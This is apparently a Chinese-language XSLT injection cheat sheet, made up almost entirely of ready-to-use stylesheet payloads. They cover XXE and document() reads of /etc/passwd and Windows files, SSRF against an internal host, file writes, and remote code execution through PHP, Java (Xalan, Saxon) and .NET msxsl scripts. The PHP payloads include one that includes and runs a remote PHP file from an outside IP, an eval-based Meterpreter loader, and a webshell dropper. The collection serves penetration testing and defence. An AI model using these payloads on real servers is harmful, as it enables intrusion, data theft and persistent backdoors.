XSLT 注入 (XSLT Injection)
处理未经验证的 XSL 样式表可能允许攻击者更改生成的 XML 的结构和内容、包含来自文件系统的任意文件或执行任意代码。
摘要 (Summary)
- 工具 (#tools)
- 方法论 (#methodology)
- 确定厂商与版本 (#determine-the-vendor-and-version)
- 外部实体注入 (#external-entity)
- 利用 document() 函数读取文件或 SSRF (#read-files-and-ssrf-using-document)
- 利用 EXSLT 扩展执行文件写入 (#write-files-with-exslt-extension)
- 通过 PHP 封装器执行远程代码 (#remote-code-execution-with-php-wrapper)
- 通过 Java 执行远程代码 (#remote-code-execution-with-java)
- 通过原生 .NET 执行远程代码 (#remote-code-execution-with-native-net)
- 实验环境 (Labs)
- 参考资料 (#references)
工具 (Tools)
目前尚无已知的专门用于辅助利用 XSLT 漏洞的工具。
方法论 (Methodology)
确定厂商与版本 (Determine the Vendor and Version)
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />版本: <xsl:value-of select="system-property('xsl:version')" />
<br />厂商: <xsl:value-of select="system-property('xsl:vendor')" />
<br />厂商 URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
外部实体 (External Entity)
遇到 XSLT 文件时,不要忘记测试 XXE 漏洞。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\机密文件.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
水果内容 &ext_file;:
<!-- 循环遍历每个 fruit 节点 -->
<xsl:for-each select="fruit">
<!-- 打印名称: 描述 -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
利用 document() 读取文件与 SSRF
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
<xsl:copy-of select="document('/etc/passwd')"/>
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
水果列表:
<!-- 循环遍历每个 fruit 节点 -->
<xsl:for-each select="fruit">
<!-- 打印名称: 描述 -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
利用 EXSLT 扩展写入文件
EXSLT(Extensible Stylesheet Language Transformations)是 XSLT 语言的一组扩展指令。
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>
通过 PHP 封装器执行远程代码 (RCE)
执行 readfile 函数:
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>
执行 scandir 函数:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
</xsl:stylesheet>
使用 assert 执行远程 PHP 文件:
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:variable name="payload">
include("http://10.10.10.10/test.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
通过 PHP 封装器执行 PHP Meterpreter:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:variable name="eval">
eval(base64_decode('Base64编码后的_Meterpreter代码'))
</xsl:variable>
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
</xsl:template>
</xsl:stylesheet>
使用 file_put_contents 在远程服务器写入 Webshell:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','<?php echo system($_GET["command"]); ?>')" />
</xsl:template>
</xsl:stylesheet>
通过 Java 执行远程代码 (RCE)
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping 对应IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
通过原生 .NET 执行远程代码 (RCE)
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
<TABLE>
<xsl:for-each select="Test">
<TR>
<TD>
<xsl:value-of select="App:ToShortDateString(TestDate)" />
</TD>
</TR>
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- 命令输出开始 ---
<xsl:value-of select="user:execute()"/>
--- 命令输出结束 ---
</xsl:template>
</xsl:stylesheet>